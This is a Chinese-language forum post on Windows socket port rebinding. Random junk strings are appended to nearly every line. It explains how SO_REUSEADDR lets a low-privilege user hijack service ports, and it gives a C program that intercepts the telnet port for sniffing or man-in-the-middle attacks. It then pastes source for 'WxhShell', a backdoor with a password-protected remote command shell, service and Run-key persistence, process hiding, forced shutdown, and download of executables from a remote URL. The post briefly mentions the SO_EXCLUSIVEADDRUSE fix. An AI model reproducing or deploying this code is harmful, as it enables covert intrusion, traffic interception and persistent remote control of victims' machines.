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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0qOM78rE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  n})  
$&bU2]  
  saddr.sin_family = AF_INET; DrW/KU,{+(  
LPsh?Ca?N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n (9F:N  
_P>1`IR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l)|z2 H  
!d/`[9jY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  <Wp`[S]r  
9Y;}JVS  
  这意味着什么?意味着可以进行如下的攻击: <?{ SU   
~_ (!}V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _.u~)Q`6  
\?aOExG I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hg(KNvl  
c>M_?::)0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C,V|TF.i2  
u!sSgx =  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M|5^':Y  
"#[o?_GaJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \xy:6gd:  
3 t~X:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N;%j#(v j  
/^nP_ID  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FA5k45w L  
T9aTEsA[U  
  #include '&rw=.cU  
  #include {9y9Kr|(P:  
  #include NHst7$Y<  
  #include    >?H_A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F[Qsv54  
  int main() z1z =P%WK  
  { \UV T_=Y  
  WORD wVersionRequested; g`y/ _  
  DWORD ret; b#bO=T$e-  
  WSADATA wsaData; E;ndw/GZjR  
  BOOL val; :FEd:0TS  
  SOCKADDR_IN saddr; Lqy|DJ%  
  SOCKADDR_IN scaddr; 1',+&2)oj  
  int err; k i~Raa/e  
  SOCKET s; FZ;Y vdX6  
  SOCKET sc; uOy\{5s8  
  int caddsize; Ke'YM{  
  HANDLE mt; oY| (M_;  
  DWORD tid;   _p3WE9T  
  wVersionRequested = MAKEWORD( 2, 2 ); cx,u2~43A&  
  err = WSAStartup( wVersionRequested, &wsaData ); ,i1fv "  
  if ( err != 0 ) { 9 ayH:;  
  printf("error!WSAStartup failed!\n"); O% j,:t'"  
  return -1; So3,Z'z=  
  } D| 3AjzW  
  saddr.sin_family = AF_INET; ?#');`  
   0~LnnD N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &q kl*#]  
bYRQI=gW':  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FuRn%)DA5  
  saddr.sin_port = htons(23); >rQ)|W=i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [C*X k{e  
  { G>?x-!9qcH  
  printf("error!socket failed!\n"); ]}*G[[ ^p  
  return -1; ^^U)WB  
  } D(W7O>5vQ2  
  val = TRUE; YQlpk@X`2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )[a?J,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qX}dbuDE"P  
  { `0/gs  
  printf("error!setsockopt failed!\n"); c;A ew!  
  return -1; O;.d4pO(tC  
  } I+-Rs2wb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4.$hHFqS^5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |G5=>W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?L.p9o-S0  
#oS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -F~9f>  
  { Xqq?S  
  ret=GetLastError(); 2n\i0?RD  
  printf("error!bind failed!\n"); J@&$U7t  
  return -1; ** "s~  
  } OmQuAG ^\x  
  listen(s,2); [K^q: 3R  
  while(1) B@: XC&R^  
  { P-*R N   
  caddsize = sizeof(scaddr); 6'X.[0M  
  //接受连接请求 'SXpb?CZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `OF g.R|  
  if(sc!=INVALID_SOCKET) ?7uStqa  
  { 2R~=@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ESXU, qK]v  
  if(mt==NULL) wLg:YM"  
  { RaJ }>e  
  printf("Thread Creat Failed!\n"); FkkZyCqZ`  
  break; n$Oky-P"  
  } ^~hhdwu3a  
  } _a:!U^4  
  CloseHandle(mt); `~s,W.Eu4  
  } =Am*$wGI  
  closesocket(s); 7xa@wa?!L  
  WSACleanup(); >H]|A<9u(  
  return 0; Q{)F$]w  
  }   CuGOjQ-k~  
  DWORD WINAPI ClientThread(LPVOID lpParam) m$G?e 9{  
  { 2v; 7ohK  
  SOCKET ss = (SOCKET)lpParam; D=Yag!1  
  SOCKET sc; ztt%l #  
  unsigned char buf[4096]; k}owEBsn}  
  SOCKADDR_IN saddr; uR[PKLh  
  long num; GqF.T#|  
  DWORD val; -p]`(S%  
  DWORD ret; vo^9qSX f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "Ezr-4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5d>YE  
  saddr.sin_family = AF_INET; j,V$vKP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Yk*57&QI  
  saddr.sin_port = htons(23); E;+OD&|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1Tk\n  
  { ?5+KHG*)  
  printf("error!socket failed!\n"); GF,|;)ly  
  return -1;  z]R!l%`  
  } U Edl"FwM4  
  val = 100; !n?*vN=S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 77[;J  
  { .]d tRH<  
  ret = GetLastError(); cbHn\m)J,  
  return -1; "5z6~dq  
  } lr= !:D=K  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F7PZV+\  
  { ^zs4tCW%  
  ret = GetLastError(); e"8m+]  
  return -1; dJ"xW; "  
  } .TrQ +k>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1*Fvx-U'  
  { QR-R5XNT[  
  printf("error!socket connect failed!\n"); Gxt<kz  
  closesocket(sc); nfPl#]ef*  
  closesocket(ss); m"> =QP  
  return -1; i(qYyO'  
  } ~k< 31 ez  
  while(1) 9tW.}5V  
  { R)d 7b,_Yd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !-}*jm p<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N[D\@o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o[+|n[aT)3  
  num = recv(ss,buf,4096,0); V5^b6$R@  
  if(num>0) :FgRe,D  
  send(sc,buf,num,0); ,0u0 '  
  else if(num==0) x@R A1&c  
  break; CjukD%>sde  
  num = recv(sc,buf,4096,0); oL/^[TXjH  
  if(num>0) .mU.eLM  
  send(ss,buf,num,0); NGeeD?2~  
  else if(num==0) B0SmE_u_N  
  break; Ej3hdi)  
  } 4oEq,o_  
  closesocket(ss); h[)aRo  
  closesocket(sc); >Ti2E+}[M  
  return 0 ; 0Y`tj  
  } Pj5#G0i%  
a/`Yh>ou  
|ssIUJ  
========================================================== 1&L){hg  
;77o%J'l  
下边附上一个代码,,WXhSHELL v/6,eIz  
CoN/L`.SN  
========================================================== D{d$L9.  
COJ!b  
#include "stdafx.h" U[ungvU1U  
|MR?8A^"  
#include <stdio.h>  s !vROJ  
#include <string.h> wLp t2b8S  
#include <windows.h> Tsp-]-)  
#include <winsock2.h> sN) .Jo  
#include <winsvc.h> U@AfRUF&  
#include <urlmon.h> y!D`.'  
-"tgEC\tD  
#pragma comment (lib, "Ws2_32.lib") <;Z3 5 {  
#pragma comment (lib, "urlmon.lib") %>U*A  
hCoL j6Vx  
#define MAX_USER   100 // 最大客户端连接数 M HB]'  
#define BUF_SOCK   200 // sock buffer ZVR 9vw 28  
#define KEY_BUFF   255 // 输入 buffer /6*.%M>r  
#\["y%;W  
#define REBOOT     0   // 重启 ^<Tp-,J$EN  
#define SHUTDOWN   1   // 关机 G&H"8REm  
QYb?;Z  
#define DEF_PORT   5000 // 监听端口 BfLZ  
j7 3@Yi%  
#define REG_LEN     16   // 注册表键长度 PGhZ`nl  
#define SVC_LEN     80   // NT服务名长度 [$Bb'],k  
ll09j Ef  
// 从dll定义API 9>>}-;$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y5D?Bg|M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +E[)@;T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V-r<v1}M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~,1q :Kue  
)t=u(:u]  
// wxhshell配置信息 WYzaD}  
struct WSCFG { 0>MI*fnY"  
  int ws_port;         // 监听端口 N6 8>`  
  char ws_passstr[REG_LEN]; // 口令 j}*+-.YF  
  int ws_autoins;       // 安装标记, 1=yes 0=no JB_`lefW,'  
  char ws_regname[REG_LEN]; // 注册表键名 @h,$&=HY  
  char ws_svcname[REG_LEN]; // 服务名 WkIV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sYI':UQe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'vIkA=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ay|{!MkQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .4(f0RG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )eMh,r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >7q,[:(gs  
1 *CWHs  
};  nGd  
{f3fc8(p  
// default Wxhshell configuration dw!Eao47  
struct WSCFG wscfg={DEF_PORT, lhj2u]yU0S  
    "xuhuanlingzhe", gI3rF=  
    1, OFbg]{ub?  
    "Wxhshell", 9?c^~77  
    "Wxhshell", 5/ju it  
            "WxhShell Service", .)zISa*Xy  
    "Wrsky Windows CmdShell Service", 2:F  
    "Please Input Your Password: ", " ?,6{\y,  
  1, hyoZh Y  
  "http://www.wrsky.com/wxhshell.exe", `{_PSzM  
  "Wxhshell.exe" Rw 8o]  
    }; 0M98y!A 5^  
a $%[!vF  
// 消息定义模块 loe>"_`Cq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lM"7 Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c `; LF'!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d vxEXy  
char *msg_ws_ext="\n\rExit."; wCmv/m  
char *msg_ws_end="\n\rQuit."; jtY~- @*  
char *msg_ws_boot="\n\rReboot..."; :L0W"$  
char *msg_ws_poff="\n\rShutdown..."; -=IM8Dny  
char *msg_ws_down="\n\rSave to "; [ 1GEe  
@NE#P&f  
char *msg_ws_err="\n\rErr!"; fC|u  
char *msg_ws_ok="\n\rOK!"; ~Xw?>&  
Q>yt O'v1  
char ExeFile[MAX_PATH]; .Tv(1HAc2l  
int nUser = 0; $ '*BS  
HANDLE handles[MAX_USER]; r ngw6?`n-  
int OsIsNt; nWu4HFi  
elgQcJ99  
SERVICE_STATUS       serviceStatus; j@!}r|-T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A,)ELVk1F  
EPRs%(w`  
// 函数声明 cvfAa#tq>  
int Install(void); e8bJ]  
int Uninstall(void); p]eD@3Wz  
int DownloadFile(char *sURL, SOCKET wsh); V+z)B+  
int Boot(int flag); $twF93u$  
void HideProc(void); I!D*(>  
int GetOsVer(void); v{ Ve sf  
int Wxhshell(SOCKET wsl); 3fTI&2:  
void TalkWithClient(void *cs); W F<V2o{k  
int CmdShell(SOCKET sock); I9>*Yy5RNS  
int StartFromService(void); q+~CA[H5K  
int StartWxhshell(LPSTR lpCmdLine); {Z.@-Tl_  
2A+,. S_!x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J3;KQ}F.I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n.RhA-O  
7d)' y  
// 数据结构和表定义 eUlb6{!y?  
SERVICE_TABLE_ENTRY DispatchTable[] = |lV9?#!  
{ W|U1AXU7/  
{wscfg.ws_svcname, NTServiceMain}, edx'p`%d5  
{NULL, NULL} U^\~{X  
}; BH a>2N  
/vu!5?S  
// 自我安装 RiG!TTa b  
int Install(void) F\bI6gj  
{ GGtrH~zx  
  char svExeFile[MAX_PATH]; pSFWNWQ'B  
  HKEY key; lJ#>Y5Qg  
  strcpy(svExeFile,ExeFile); \S@6@ UGv  
U$uO%:4%  
// 如果是win9x系统,修改注册表设为自启动 d?Cl04  
if(!OsIsNt) { d 4R+gIA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e~?]F 0/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J7o?h9  
  RegCloseKey(key); Xs@ ^D,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |0p'p$%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cyg>h X{U  
  RegCloseKey(key); k5(yf~!c  
  return 0; g1 ,  
    } Uiw7Y\Im|  
  } q(^J7M)  
} MGDv4cFE.  
else { /GGu` f  
TVwYFX  
// 如果是NT以上系统,安装为系统服务 "s9gQAoaO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZQA C &:  
if (schSCManager!=0) 5&= n  
{ )W|jt/  
  SC_HANDLE schService = CreateService p>3'77 V  
  ( mC(t;{  
  schSCManager, %;$Y|RbmqE  
  wscfg.ws_svcname, _B FX5ifK  
  wscfg.ws_svcdisp, HH@xn d  
  SERVICE_ALL_ACCESS, K9'*q3z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8-YrmP2k  
  SERVICE_AUTO_START, x`i`]6q  
  SERVICE_ERROR_NORMAL, S\gP=.G  
  svExeFile, :G/]rDtd  
  NULL, 7g+]  
  NULL, uf] $@6)  
  NULL, vyGLn  
  NULL, va2A@U  
  NULL IQ~7vk()  
  ); f om"8iL1  
  if (schService!=0) e}AJxBE  
  { X(28 xbd|  
  CloseServiceHandle(schService); ;NeEgqW "  
  CloseServiceHandle(schSCManager); MiM=fIuw@s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?ovGYzUZ  
  strcat(svExeFile,wscfg.ws_svcname); 1:UC\WW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZY$@_DOB}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *Bsmn!_cB{  
  RegCloseKey(key); F*:NKT d  
  return 0; f`=T@nA  
    } ^VPl>jTg  
  } dvF48,kr  
  CloseServiceHandle(schSCManager); n ]}2O 4j  
} ?<^AXLiKV  
} m-92G8'  
q|l|mO  
return 1; 1[9j`~[([  
} CT%m_lN  
eH/\7)z  
// 自我卸载 AiHf?"EVT  
int Uninstall(void) ?u!AHSr(  
{ T<k1?h^7  
  HKEY key; ^oO5t-9<!  
^ZWFj?`\UV  
if(!OsIsNt) { V_622~Tc/[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W+C_=7_  
  RegDeleteValue(key,wscfg.ws_regname); 8;&S9'ci  
  RegCloseKey(key); Vp"Ug,1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _rdj,F8  
  RegDeleteValue(key,wscfg.ws_regname); 0(9@GIT  
  RegCloseKey(key); <dPxy`_  
  return 0; q*TKs#3  
  } Ab<Ok\e5  
} [j U  
} jZ,[{Z(N   
else { h!CX`pBM  
$: m87cR~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]Ja8i%LjOG  
if (schSCManager!=0) e4%*I8 ^e  
{ ^6y4!='ci  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B&k T#  
  if (schService!=0) f.)F8!!  
  { Cy:`pYxhd  
  if(DeleteService(schService)!=0) { @Qjl`SL%O^  
  CloseServiceHandle(schService); m{dyVE  
  CloseServiceHandle(schSCManager); (jMAa%  
  return 0; ^J~A+CEf"W  
  } TM}'XZ&  
  CloseServiceHandle(schService); ?i EXFYJG  
  } (,c?}TP  
  CloseServiceHandle(schSCManager); A-C)w/7  
} ]O=S2Q  
} -<JBKPtA  
[*{\R`M  
return 1; +xBK^5/x  
} |QNLO#$ -  
VSpt&19  
// 从指定url下载文件 wW! r}I#  
int DownloadFile(char *sURL, SOCKET wsh) X+E\]X2  
{ Dke($Jr{  
  HRESULT hr; Yj7= T%5  
char seps[]= "/"; 6aZt4Lw2\  
char *token; yki51rOI*  
char *file; 3_*Xk. .d  
char myURL[MAX_PATH]; Etc?;Z[F#  
char myFILE[MAX_PATH]; (X_,*3Yxk  
.>64h H  
strcpy(myURL,sURL); &}6ES{Nr8  
  token=strtok(myURL,seps); M:UB>-`bW  
  while(token!=NULL) Ld3Bi2d|  
  { $< K)fbG  
    file=token; hN:F8r+DG  
  token=strtok(NULL,seps); 5ZyBP~  
  } Zjic"E1  
UQ.D!q  
GetCurrentDirectory(MAX_PATH,myFILE); ~{,vg4L  
strcat(myFILE, "\\"); <_a70"i  
strcat(myFILE, file); fqk Dk  
  send(wsh,myFILE,strlen(myFILE),0); h?3,B0G  
send(wsh,"...",3,0); Lr?4Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ie&b <k  
  if(hr==S_OK) ]pRfY9w  
return 0; E?gu(\an@  
else L+~YCat|$U  
return 1; cv*Q]F1%  
[[0bhmG)  
} Q^MXiE O+  
"^ 6lvZP(  
// 系统电源模块 &e]]F#  
int Boot(int flag) Ce5w0&VlS  
{ hi3sOK*r;<  
  HANDLE hToken; O? Gl4_y  
  TOKEN_PRIVILEGES tkp; <[y$D=n  
$]H=  
  if(OsIsNt) { &Ky u@Tt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k Kp6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bxhg*A  
    tkp.PrivilegeCount = 1; 2^ ,H_PS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <{NYD .  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h-b5   
if(flag==REBOOT) { 42J';\)oP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1ntkM?  
  return 0; !V]MLA`  
} L;--d`[  
else { v :+8U[x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N;x<| %peL  
  return 0; LE<u&9I\  
} ~6-"i0k  
  } si^4<$Nr%j  
  else { Z`oaaO  
if(flag==REBOOT) { Od!F: <  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eN]>l  
  return 0; ?bt`fzX{l  
} 5rfH;`  
else { ]/o12pI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jny)uo8  
  return 0; Q$fRi[/L  
} *TM;trfz  
} ksu}+i,a  
#6N+5Yx_[  
return 1; AvrL9D  
} 'wz\tT^  
.L^pMU+!^  
// win9x进程隐藏模块 gv#c~cX]  
void HideProc(void) YA"Ti9-EV  
{ 8Q^6ibE  
*,W!FxJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c/<Sa|'  
  if ( hKernel != NULL ) $"sq4@N  
  { g= FDm*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2&.n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =sE2}/g  
    FreeLibrary(hKernel); #*Yi4Cn<  
  } Y^f94s:2S  
:Su#xI  
return; P.LuF(?$  
} g5tjj.  
Qe>i{:N  
// 获取操作系统版本 \LdmGv@ &  
int GetOsVer(void) wC(vr.,F  
{ '?"t<$b  
  OSVERSIONINFO winfo; m"gni #  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UCn*UX  
  GetVersionEx(&winfo); h"%|\o+3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yV:EK{E  
  return 1; :DdBn.  
  else ]6t]m2~\  
  return 0; ~K~b`|1  
} qIbg 4uE  
K\{b!Cfr^  
// 客户端句柄模块  <+AIt  
int Wxhshell(SOCKET wsl) N5 SLF4R1  
{ >~I xyQp  
  SOCKET wsh; bJQ5- *F  
  struct sockaddr_in client; AT B\^;n.  
  DWORD myID; Hp)X^O"  
n7IL7?!o  
  while(nUser<MAX_USER) [G{rHSK5tQ  
{ CM%|pB/z  
  int nSize=sizeof(client); r}/yi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V$/u  
  if(wsh==INVALID_SOCKET) return 1; Em e'Gk  
Sl3KpZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gb(C#,xbK  
if(handles[nUser]==0) nG"tO'J6  
  closesocket(wsh); @+'c+  
else k}-yOP{  
  nUser++; 1~}m.ER  
  } yZYK wKG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ps U9R#HL1  
R K"&l!o  
  return 0; };&HhBc!g  
}  L5"8G,I  
'[Mlmgc5  
// 关闭 socket #yW.o'S+  
void CloseIt(SOCKET wsh) YfE>Pn'r  
{ L([E98fo  
closesocket(wsh); 9z5\*b s  
nUser--; v5(q) h  
ExitThread(0); !p }`kG  
} }.0Bl&\UK  
^)&Ly_xrU  
// 客户端请求句柄 A <4_DVd@@  
void TalkWithClient(void *cs) bTZ>@~$  
{ j?EskT6  
h ?uqLsRl  
  SOCKET wsh=(SOCKET)cs; 06 QU  
  char pwd[SVC_LEN]; 5Z/yhF.{  
  char cmd[KEY_BUFF]; 5]jx5!N  
char chr[1]; M]}l^ m>L  
int i,j; 2Y400  
>(hSW~i~  
  while (nUser < MAX_USER) { cVO,~I\\  
8g\wVKkTQp  
if(wscfg.ws_passstr) { pv$mZi4i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A0G)imsW:_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  t?gJNOV  
  //ZeroMemory(pwd,KEY_BUFF); a%Uw;6|{  
      i=0; 41u*w2j  
  while(i<SVC_LEN) { 1hl]W+9  
<0CzB"Ap  
  // 设置超时 #EJhAJ  
  fd_set FdRead; B?+ .2  
  struct timeval TimeOut; {jvOHu  
  FD_ZERO(&FdRead); EE+`i%  
  FD_SET(wsh,&FdRead); UQ/qBbn  
  TimeOut.tv_sec=8; 6SE6AL<b  
  TimeOut.tv_usec=0; $:Rn;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FY$fV"s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gX[|;IZ0o  
)FRM_$t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bF*NWm$Lf  
  pwd=chr[0]; |+>uA[6#  
  if(chr[0]==0xd || chr[0]==0xa) { wZ#Rlv,3Wa  
  pwd=0; fX_#S|DlSG  
  break; / /'Tck  
  } :z]}ZZ  
  i++; >*IN  
    } rah,dVE]  
}.p<wCPy6  
  // 如果是非法用户,关闭 socket + :Vrip  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !BDUv(  
} 2K;#Evn'j  
Z1M>-[j)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iZaeoy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "NDxgJ%J35  
X 7=fX~s  
while(1) { 7|YN:7iA  
@:Di`B_{  
  ZeroMemory(cmd,KEY_BUFF); $(ewk):  
^(ScgoXva  
      // 自动支持客户端 telnet标准   ;6ky5}z  
  j=0; P.djd$#  
  while(j<KEY_BUFF) { QdQ d(4/1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f;gZ|a  
  cmd[j]=chr[0]; 'Gjq/L/x  
  if(chr[0]==0xa || chr[0]==0xd) { &rp!%]+xAM  
  cmd[j]=0; ~4\,&HH  
  break; VU|;:  
  } Wqra8u#  
  j++; qos`!=g?  
    } 1~J5uB4  
K%MW6y  
  // 下载文件 cq*=|m0}Z  
  if(strstr(cmd,"http://")) { nU(DYHc+l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2edBQYWd  
  if(DownloadFile(cmd,wsh)) M`vyTuO3SO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dt_e  
  else r [s!F=^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p~2UUm V  
  } nBN&.+3t  
  else { @wp4 |G  
[|[>}z:  
    switch(cmd[0]) { `2 `fiKm  
  JS2nXs1  
  // 帮助 ,m^;&&  
  case '?': { a8$kNtA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =oX>Ph+ P  
    break; 1DE@N1l  
  } ,Ol (piR  
  // 安装 \hlR]m!C  
  case 'i': {  QV qK  
    if(Install()) '7*=`q{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aQ#qRkI  
    else S:q$?$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PmR*}Aw  
    break; Ri#H.T<'  
    } B@O@1?c[  
  // 卸载 at6149B\)  
  case 'r': { #`;/KNp 9  
    if(Uninstall()) WZZ4]cC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1zftrX~v!X  
    else ]JE TeZ^/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z{R[Wx  
    break; kS :\Oz\  
    } JN'cXZJPn  
  // 显示 wxhshell 所在路径 G^wtE90  
  case 'p': { @ {#mpDX  
    char svExeFile[MAX_PATH]; cCY/gEv  
    strcpy(svExeFile,"\n\r"); >^$2f&z  
      strcat(svExeFile,ExeFile); LO:fJ{ -  
        send(wsh,svExeFile,strlen(svExeFile),0); \*0yaSQF  
    break; 'Z&;uv,l  
    } iWLa>z|,  
  // 重启 nmFC%p)4  
  case 'b': {  npp[@*~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9bJQT'<R  
    if(Boot(REBOOT)) (\a6H2z8l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^YvB9XN  
    else { g~S)aU\:,  
    closesocket(wsh); % ."@Q$lA  
    ExitThread(0); @kFu*"  
    } ~D[?$`x:  
    break; re &E{  
    } 1l8Etp&<  
  // 关机 7v7G[n  
  case 'd': { xSK~s  
